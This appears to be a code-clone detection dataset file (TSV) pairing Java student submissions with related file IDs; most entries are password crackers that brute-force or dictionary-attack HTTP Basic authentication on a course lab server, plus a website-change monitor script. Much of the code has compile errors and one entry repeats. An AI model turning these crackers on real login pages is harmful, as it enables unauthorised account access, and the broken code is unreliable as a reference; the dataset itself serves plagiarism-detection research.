SOCO_Corpus / Quora_SIM /derived_dataset_3_train.tsv
buelfhood's picture
Upload 8 files
096d8df
F1 text_1 related_pairs
218.java "
import java.io.*;
import java.lang.Object;
public class WatchDog
{
public static void main(String args[])throws Exception
{
Process p1,p2,p3,p4,p5;
for(;;)
{
String s1[] = {""/usr/local//tcsh"", ""-c"", ""mailx -s \""Part 2-Assignment2 \"" < change.html""};
String s2[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* predir""};
String s3[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* predir""};
String s4[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./images/*.* postdir""};
String s5[] = {""/usr/local//tcsh"", ""-c"", ""mv www.cs.rmit.edu./students/*.* postdir""};
String s6[] = {""/usr/local//tcsh"", ""-c"", ""diff copy1 copy2 > diff.html""};
Process p = Runtime.getRuntime().exec(""mkdir predir"");
p.waitFor();
Process p1 = Runtime.getRuntime().exec(""mkdir postdir"");
p1.waitFor();
p1 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
p1.waitFor();
Process q2 = Runtime.getRuntime().exec(s2);
q2.waitFor();
Process q3 = Runtime.getRuntime().exec(s3);
q2.waitFor();
Thread.sleep(86400000);
p3 = Runtime.getRuntime().exec(""wget -p --convert-links http://www.cs.rmit.edu./students/"");
p3.waitFor();
Process q4 = Runtime.getRuntime().exec(s4);
q4.waitFor();
Process q5 = Runtime.getRuntime().exec(s5);
q5.waitFor();
try
{
String str;
p4 = Runtime.getRuntime().exec(s6);
DataInputStream inp1 = new DataInputStream(p4.getInputStream());
p4.waitFor();
System.out.println(""The WatchDog - Returns 0 if change else 1"");
System.out.println(""Value :"" + p4.exitValue());
try
{
while ((str = inp1.readLine()) != null)
{
System.out.println(str);
}
}
catch (IOException e)
{
System.exit(0);
}
}
catch(FileNotFoundException e )
{
e.printStackTrace();
}
BufferedReader in = new BufferedReader(new FileReader(""change.html""));
if (in.readLine() != null)
{
try
{
String str1;
p5 = Runtime.getRuntime().exec(s1);
DataInputStream inp2 = new DataInputStream(p5.getInputStream());
p5.waitFor();
try
{
while ((str1 = inp2.readLine()) != null)
{
System.out.println(str1);
}
}
catch (IOException e1)
{
System.exit(0);
}
}
catch(FileNotFoundException exp)
{
exp.printStackTrace();
}
}
}
}
}
" 195.java
086.java "import java.net.*;
import java.io.*;
import java.*;
public class BruteForce {
URLConnection conn = null;
private static boolean status = false;
public static void main (String args[]){
BruteForce a = new BruteForce();
String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"",
"""",
""""};
int attempts = 0;
exit:
for (int i=0;i<pwdArray.length;i++) {
for (int j=0;j<pwdArray.length;j++) {
for (int k=0;k<pwdArray.length;k++) {
if (pwdArray[i] == ' ' && pwdArray[j] != ' ') continue;
if (pwdArray[j] == ' ' && pwdArray[k] != ' ') continue;
inp[2] = inp[2] + pwdArray[i] + pwdArray[j] + pwdArray[k];
attempts++;
a.doit(inp);
if (status) {
System.out.println(""Crrect password is: "" + inp[2]);
System.out.println(""Number of attempts = "" + attempts);
break exit;
}
inp[2] = """";
}
}
}
}
public void doit(String args[]) {
try {
BufferedReader in = new BufferedReader(
new InputStreamReader
(connectURL(new URL(args[0]), args[1], args[2])));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
status = true;
}
}
catch (IOException e) {
}
}
public InputStream connectURL (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setRequestProperty (""Authorization"",
userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char pwdArray [] = {
'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h',
'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p',
'q', 'r', 's', 't', 'u', 'v', 'w', 'x',
'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F',
'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V',
'W', 'X', 'Y', 'Z', ' '
};
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "242.java 222.java"
216.java "
import java.io.*;
import java.net.*;
import java.util.*;
import java.*;
public class Dictionary
{
public static void main(String args[])
{
StringWriter sw = new StringWriter();
PrintWriter pw = new PrintWriter();
int flag=1;
String filename = ""words"";
try
{
String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/"");
String thePassword= new String();
BufferedReader inputStream= new BufferedReader(new FileReader(filename));
String line=inputStream.readLine();
stime = System.currentTimeMillis();
while (line!= null && flag==1)
{
try {
URL url = new URL (urlString);
String userPassword = """" + "":"" + line;
String encoding = new url.misc.BASE64Encoder().encode(userPassword.getBytes());
URLConnection uc = url.openConnection();
uc.setRequestProperty(""Authorization"", "" "" + encoding);
InputStream content = (InputStream)uc.getContent();
endtime = System.currentTimeMillis();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line2;
while ((line2 = in.readLine()) != null) {
pw.println (line2);
}
flag=0;
System.out.println(""process time is : "" +(endtime-stime)/1000 +"" seconds."");
}catch (MalformedURLException e) {
flag=1;
}catch (IOException e) {
flag=1;
}
line=inputStream.readLine();
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.err.println(""File ""+filename+"" was not found"");
}
catch(IOException e)
{
System.err.println(""Error "");
}
System.out.println(""content is ""+ sw.toString());
}
}" "211.java 061.java"
224.java "
import java.io.*;
import java.text.*;
import java.util.*;
import java.net.*;
public class Dictionary extends Thread
{
private static final String USERNAME = """";
private static final String DICTIONARY_FILE = ""/usr/share/lib/dict/words"";
private static int NUMBER_OF_THREAD = 500;
private static Date startDate = null;
private static Date endDate = null;
private String address;
private String password;
public Dictionary(String address, String password)
{
this.address = address;
this.password = password;
}
public static void main(String[] args) throws IOException
{
if (args.length < 1)
{
System.err.println(""Invalid usage!"");
System.err.println(""Usage: java Dictionary <url>"");
System.exit(1);
}
try
{
dic(args[0], USERNAME);
}
catch(Exception e)
{
e.printStackTrace();
System.exit(1);
}
}
public static void dic(String address, String user)
{
Dictionary [] threads = new Dictionary[NUMBER_OF_THREAD];
int index = 0;
startDate = new Date();
try
{
BufferedReader buff = new BufferedReader(new FileReader(DICTIONARY_FILE));
String password = null;
while((password = buff.readLine()) != null)
{
if (threads[index] != null && threads[index].isAlive())
{
try
{
threads[index].join();
}
catch(InterruptedException e) {}
}
threads[index] = new Dictionary(address, password.trim());
threads[index].get();
index = (index++) % threads.length;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public void run()
{
if (endDate != null)
return;
try
{
URLConnection conn = (new URL(address)).openConnection();
conn.setDoInput(true);
if (login(conn, USERNAME, password))
{
endDate = new Date();
System.out.println(""Found the password: \""""+password+""\""!"");
SimpleDateFormat format = new SimpleDateFormat(""dd/MM/yyyy HH:mm:"");
System.out.println(""Process started at: ""+format.format(startDate));
System.out.println(""Process started at: ""+format.format(endDate));
double timeTaken = (double)(endDate.getTime()-startDate.getTime())/60000;
System.out.println(""Time taken: ""+timeTaken+"" minutes"");
System.exit(0);
}
else
{
System.out.println(""Password: \""""+password+""\"" Failed!"");
return;
}
}
catch(Exception e)
{
e.printStackTrace();
}
}
public static boolean login(URLConnection conn, String user, String pass)
{
try
{
String encodeAuth = "" ""+Base64Encoder.encode(user+"":""+pass);
conn.setRequestProperty (""Authorization"", encodeAuth);
conn.connect();
conn.getInputStream();
}
catch(Exception e)
{
return false;
}
return true;
}
}
" 221.java
190.java "
import java.awt.*;
import java.String;
import java.util.*;
import java.io.*;
import java.net.*;
public class Dictionary
{
private URL url;
private HttpURLConnection connection ;
private int stopTime = 0;
private int startTime = 0;
private int count = 0;
public Dictionary()
{
System.out.println(""Process is running..."");
startTime = System.currentTimeMillis();
findWords();
}
public static void main(String args[])
{
Dictionary sc = new Dictionary();
}
public void findWords()
{
try
{
BufferedReader input = new BufferedReader(new FileReader (""words""));
String text;
while ((text = input.readLine()) != null)
{
if ((text.length() == 3) || (text.length() == 2))
{
count++;
decision(text);
}
}
}
catch (IOException io)
{
System.out.println(""File Error: "" + io.getMessage());
}
}
public void decision(String s1)
{
if (find(s1) == 200)
{
stopTime = System.currentTimeMillis();
runTime = stopTime - startTime;
System.out.println(""***************************************"");
System.out.println(""\nAttack successfully"");
System.out.println(""\nPassword is: "" + s1);
System.out.println(""\nThe contents of the Web site: "");
displayContent(s1);
System.out.println(""\nTime taken crack: "" + runTime + "" millisecond"");
System.out.println(""\nNumber of attempts: "" + count);
System.out.println();
System.exit(0);
}
}
public int find(String s1)
{
int responseCode = 0;
try
{
url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + s1));
responseCode = connection.getResponseCode();
}catch (Exception e)
{
System.out.println(e.getMessage());
}
return responseCode;
}
public void displayContent(String pw)
{
BufferedReader bw = null ;
try
{
url = new URL(""http://sec-crack.cs.rmit.edu./SEC/2/"");
connection = (HttpURLConnection)url.openConnection();
connection.setRequestProperty(""Authorization"","" "" + MyBase64.encode("""" + "":"" + pw));
InputStream stream = (InputStream)(connection.getContent());
if (stream != null)
{
InputStreamReader reader = new InputStreamReader (stream);
bw = new BufferedReader (reader);
String line;
while ((line = bw.readLine()) != null)
{
System.out.println(line);
}
}
}
catch (IOException e)
{
System.out.println(e.getMessage());
}
}
}
" 188.java
017.java "
import javax.swing.*;
public class Dictionary
{
public static void main( String args[] )
{
PasswordCombination pwdCombination;
pwdCombination = new PasswordCombination();
}
}
" 022.java
258.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +"":""+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "257.java 048.java 185.java 059.java 183.java"
105.java "
import java.io.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class Dictionary
{
public Dictionary()
{}
public boolean fetchURL(String urlString,String username,String password)
{
StringWriter sw= new StringWriter();
PrintWriter pw = new PrintWriter();
try{
URL url=new URL(urlString);
String userPwd= username+"":""+password;
BASE64Encoder encoder = new BASE64Encoder();
String encodedStr = encoder.encode (userPwd.getBytes());
System.out.println(""Original String = "" + userPwd);
System.out.println(""Encoded String = "" + encodedStr);
HttpURLConnection huc=(HttpURLConnection) url.openConnection();
huc.setRequestProperty( ""Authorization"","" ""+encodedStr);
InputStream content = (InputStream)huc.getInputStream();
BufferedReader in =
new BufferedReader (new InputStreamReader (content));
String line;
while ((line = in.readLine()) != null) {
pw.println (line);
System.out.println("""");
System.out.println(sw.toString());
}return true;
} catch (MalformedURLException e) {
pw.println (""Invalid URL"");
return false;
} catch (IOException e) {
pw.println (""Error URL"");
return false;
}
}
public void getPassword()
{
String dictionary=""words"";
String urlString=""http://sec-crack.cs.rmit.edu./SEC/2/"";
String login="""";
String pwd="" "";
try
{
BufferedReader inputStream=new BufferedReader(new FileReader(dictionary));
startTime=System.currentTimeMillis();
while (pwd!=null)
{
pwd=inputStream.readLine();
if(this.fetchURL(urlString,login,pwd))
{
finishTime=System.currentTimeMillis();
System.out.println(""Finally I gotta it, password is : ""+pwd);
System.out.println(""The time for cracking password is: ""+(finishTime-startTime) + "" milliseconds"");
System.exit(1);
}
}
inputStream.close();
}
catch(FileNotFoundException e)
{
System.out.println(""Dictionary not found."");
}
catch(IOException e)
{
System.out.println(""Error dictionary"");
}
}
public static void main(String[] arguments)
{
BruteForce bf=new BruteForce();
bf.getPassword();
}
}" 103.java
243.java "import java.net.*;
import java.io.*;
public class Dictionary {
int attempts = 0;
URLConnection conn = null;
public static void main (String args[]){
Dictionary a = new Dictionary();
a.attack(args);
}
public void attack(String args[]) {
try {
String login = new String("""");
String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
String passwd = new String();
passwd = getPasswd();
BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));
String line;
while ((line = in.readLine()) != null) {
System.out.println(line);
}
System.out.println(""Password Cracked Successfully!!!"");
System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");
}
catch (IOException e) {
String r = new String(e.getMessage());
if ( r != null)
{
System.out.println(""Message :"" +r);
Dictionary a = new Dictionary();
a.attack(args);
}
else
{
System.out.println(""Trying again"");
Dictionary a = new Dictionary();
a.attack(args);
}
}
}
public String getPasswd()
{
int i=0;int j=0;
attempts++;
int count =0;
System.out.println(""Passing dictionary word and waiting for URL reply....... "");
String currentword = """";
String se = """";
try{
FileInputStream reader = new FileInputStream (""words"");
DataInputStream in = new DataInputStream(reader);
while (in.available() !=0)
{
currentword = in.readLine();
count++;
}
}
catch( IOException e){}
return currentword;
}
public InputStream openURLForInput (URL url, String uname, String pword)
throws IOException {
conn = url.openConnection();
conn.setDoInput (true);
conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));
conn.connect ();
return conn.getInputStream();
}
public String userNamePasswordBase64(String username, String password) {
return "" "" + base64Encode (username + "":"" + password);
}
private final static char base64Array [] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/'
};
private static String base64Encode (String string) {
String encodedString = """";
byte bytes [] = string.getBytes ();
int i = 0;
int pad = 0;
while (i < bytes.length) {
byte b1 = bytes [i++];
byte b2;
byte b3;
if (i >= bytes.length) {
b2 = 0;
b3 = 0;
pad = 2;
}
else {
b2 = bytes [i++];
if (i >= bytes.length) {
b3 = 0;
pad = 1;
}
else
b3 = bytes [i++];
}
byte c1 = (byte)(b1 >> 2);
byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
byte c4 = (byte)(b3 & 0x3f);
encodedString += base64Array [c1];
encodedString += base64Array [c2];
switch (pad) {
case 0:
encodedString += base64Array [c3];
encodedString += base64Array [c4];
break;
case 1:
encodedString += base64Array [c3];
encodedString += ""="";
break;
case 2:
encodedString += ""=="";
break;
}
}
return encodedString;
}
}
" "087.java 155.java 242.java"
258.java "
import java.awt.*;
import java.util.*;
import java.net.*;
import java.io.*;
import java.*;
public class Dictionary
{
public static void main(String args[]) throws Exception
{
String urlPath = null;
if(args.length > 0)
{
urlPath = args[0];
System.out.println(""URL "" + urlPath);
Dictionary dict = new Dictionary(urlPath);
}
else{
System.out.println(""Please enter URL at command prompt"");
System.out.println(""eg. >java Dictionary http://sec-crack.cs.rmit.edu./SEC/2/"");
}
System.exit(0);
}
public Dictionary(String urlPath) throws Exception
{
linkToWeb(urlPath);
}
public boolean linkToWeb(String urlPath) throws Exception
{
HttpURLConnection connection;
String word = null;
String usrName = """";
String usrNamePwd = null;
String encoding = null;
URL = new URL(urlPath);
BufferedReader inputStream = new BufferedReader(new FileReader(""words""));
word = inputStream.readLine();
while(word != null)
{
if(word.length() <= 3){
usrNamePwd = usrName +"":""+ word;
encoding = new url.misc.BASE64Encoder().encode (usrNamePwd.getBytes());
connection = (HttpURLConnection).openConnection();
connection.setRequestProperty(""Authorization"", "" "" + encoding);
System.out.println(word);
if(connection.getResponseCode() == 200){
System.out.println(""Password Found "" +word);
return true;
}
connection.disconnect();
}
word = inputStream.readLine();
}
System.out.println(""Password not found"" );
return false;
}
public class Base64Converter
{
public final char [ ] alphabet = {
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
'w', 'x', 'y', 'z', '0', '1', '2', '3',
'4', '5', '6', '7', '8', '9', '+', '/' };
public String encode ( String s )
{
return encode ( s.getBytes ( ) );
}
public String encode ( byte [ ] octetString )
{
int bits24;
int bits6;
char [ ] out
= new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];
int outIndex = 0;
int i = 0;
while ( ( i + 3 ) <= octetString.length )
{
bits24 = ( octetString [ i++ ] & 0xFF ) << 16;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 8;
bits24 |= ( octetString [ i++ ] & 0xFF ) << 0;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0000003F );
out [ outIndex++ ] = alphabet [ bits6 ];
}
if ( octetString.length - i == 2 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits24 |= ( octetString [ i + 1 ] & 0xFF ) << 8;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x00000FC0 ) >> 6;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
}
else if ( octetString.length - i == 1 )
{
bits24 = ( octetString [ i ] & 0xFF ) << 16;
bits6 = ( bits24 & 0x00FC0000 ) >> 18;
out [ outIndex++ ] = alphabet [ bits6 ];
bits6 = ( bits24 & 0x0003F000 ) >> 12;
out [ outIndex++ ] = alphabet [ bits6 ];
out [ outIndex++ ] = '=';
out [ outIndex++ ] = '=';
}
return new String ( out );
}
}
}
" "257.java 048.java 185.java 059.java 183.java"
150.java "
import java.net.*;
import java.io.*;
import java.util.Date;
public class Dictionary{
private static String password="" "";
public static void main(String[] args) {
String Result="""";
if (args.length<1)
{
System.out.println(""Correct Format Filename username e.g<>"");
System.exit(1);
}
Dictionary dicton1 = new Dictionary();
Result=dicton1.Dict(""http://sec-crack.cs.rmit.edu./SEC/2/"",args[0]);
System.out.println(""Cracked Password for The User ""+args[0]+"" The Password is..""+Result);
}
private String Dict(String urlString,String username)
{
int cnt=0;
FileInputStream stream=null;
DataInputStream word=null;
try{
stream = new FileInputStream (""/usr/share/lib/dict/words"");
word =new DataInputStream(stream);
t0 = System.currentTimeMillis();
while (word.available() !=0)
{
password=word.readLine();
if (password.length()!=3)
{
continue;
}
System.out.print(""crackin...:"");
System.out.print(""\b\b\b\b\b\b\b\b\b\b\b"" );
URL url = new URL (urlString);
String userPassword=username+"":""+password;
String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());
URLConnection conc = url.openConnection();
conc.setRequestProperty (""Authorization"", "" "" + encoding);
conc.connect();
cnt++;
if (conc.getHeaderField(0).trim().equalsIgnoreCase(""HTTP/1.1 200 OK""))
{
System.out.println(""The Number Of Attempts : ""+cnt);
t1 = System.currentTimeMillis();
net=t1-t0;
System.out.println(""Total Time in secs...""+net/1000);
return password;
}
}
}
catch (Exception e )
{
e.printStackTrace();
}
try
{
word.close();
stream.close();
}
catch (IOException e)
{
System.out.println(""Error in closing input file:\n"" + e.toString());
}
return ""Password could not found"";
}
}" 148.java
250.java "
class C {
private static byte[] cvtTable = {
(byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
(byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
(byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
(byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
(byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
(byte)'Z',
(byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
(byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
(byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
(byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
(byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
(byte)'z',
(byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
(byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
(byte)'+', (byte)'/'
};
static String encode(String name,
String passwd) {
byte input[] = (name + "":"" + passwd).getBytes();
byte[] output = new byte[((input.length / 3) + 1) * 4];
int ridx = 0;
int chunk = 0;
for (int i = 0; i < input.length; i += 3) {
int left = input.length - i;
if (left > 2) {
chunk = (input[i] << 16)|
(input[i + 1] << 8) |
input[i + 2];
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = cvtTable[(chunk&0x3F)];
} else if (left == 2) {
chunk = (input[i] << 16) |
(input[i + 1] << 8);
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = cvtTable[(chunk&0xFC0) >> 6];
output[ridx++] = '=';
} else {
chunk = input[i] << 16;
output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
output[ridx++] = '=';
output[ridx++] = '=';
}
}
return new String(output);
}
}" "159.java 059.java"
140.java "import java.io.*;
import java.util.*;
import java.net.*;
import java.misc.BASE64Encoder;
public class BruteForce
{
public BruteForce()
{
}
public static void main(String[] args)
{
try
{
if (args.length != 2 )
{
System.out.println(""Usage: java BruteForce <URL> <UserName>"");
System.exit(1);
}
timeStart = System.currentTimeMillis();
String strPass = applyBruteForce (args[0], args[1]);
timeEnd = System.currentTimeMillis();
System.out.println(""\n\n\n\n\tPass Cracked is: "" + strPass);
System.out.println(""\tTime taken is (sec):"" + String.valueOf((timeEnd - timeStart)/1000));
}
catch(Exception e)
{
e.printStackTrace();
}
}
static String applyBruteForce (String URL, String UserName)
{
String strPass = """";
char ch1, ch2, ch3;
System.out.print(""\n\n\n Applying BruteForce Attack: "");
for (ch1 = 'A' ; ch1 <= 'z' ; ch1 ++)
{
if ( ch1 > 'Z' && ch1 < 'a' )
ch1 = 'a';
for (ch2 = 'A' ; ch2 <= 'z' ; ch2 ++)
{
if ( ch2 > 'Z' && ch2 < 'a' )
ch2 = 'a';
for (ch3 = 'A' ; ch3 <= 'z' ; ch3 ++)
{
if ( ch3 > 'Z' && ch3 < 'a' )
ch3 = 'a';
strPass = String.valueOf(ch1) + String.valueOf(ch2) + String.valueOf(ch3);
System.out.print(""\b\b\b"" + strPass );
boolean boolResult = applyPass ( URL, UserName, strPass );
if (boolResult)
{
return strPass;
}
}
}
}
return ""Could not find match"";
}
private static boolean applyPass (String strURL, String strUserName, String strPass )
{
BASE64Encoder myEncoder = new BASE64Encoder ();
try
{
String str = strUserName + "":"" + strPass;
String strEncode = myEncoder.encode(str.getBytes());
URL url = new URL (strURL);
URLConnection urlConn = url.openConnection();
urlConn.setRequestProperty (""Authorization"", "" "" + strEncode);
urlConn.connect();
String strReply = urlConn.getHeaderField(0);
if ( strReply.trim().equalsIgnoreCase(""HTTP/1.1 200 OK"") )
{
return true;
}
}
catch (Exception e)
{
e.printStackTrace ();
}
return false;
}
}
" 142.java
106.java "
import org.apache.commons.httpclient.HttpClient;
import org.apache.commons.httpclient.UsernamePasswordCredentials;
import org.apache.commons.httpclient.cookie.CookiePolicy;
import org.apache.commons.httpclient.methods.GetMethod;
public class BruteForce{
static final String LOGON_SITE_HACKER = BruteForcePropertyHelper.getProperty(""logonSite"");
static final int LOGON_PORT_HACKER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""logonPort"")).intValue();
static final int USE_PROXY_SERVER = Integer.valueOf(BruteForcePropertyHelper.getProperty(""useProxyServer"")).intValue();
static final int PROXY_PORT = Integer.valueOf(BruteForcePropertyHelper.getProperty(""proxyPort"")).intValue();
static final String PROXY_SERVER = BruteForcePropertyHelper.getProperty(""proxyServer"");
static final String PROXY_USENAME = BruteForcePropertyHelper.getProperty(""proxyUserName"");
static final String PROXY_PASSWORD = BruteForcePropertyHelper.getProperty(""proxypassword"");
static final String GET_METHOD_HACKER = BruteForcePropertyHelper.getProperty(""getMethod"");
static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(BruteForcePropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue();
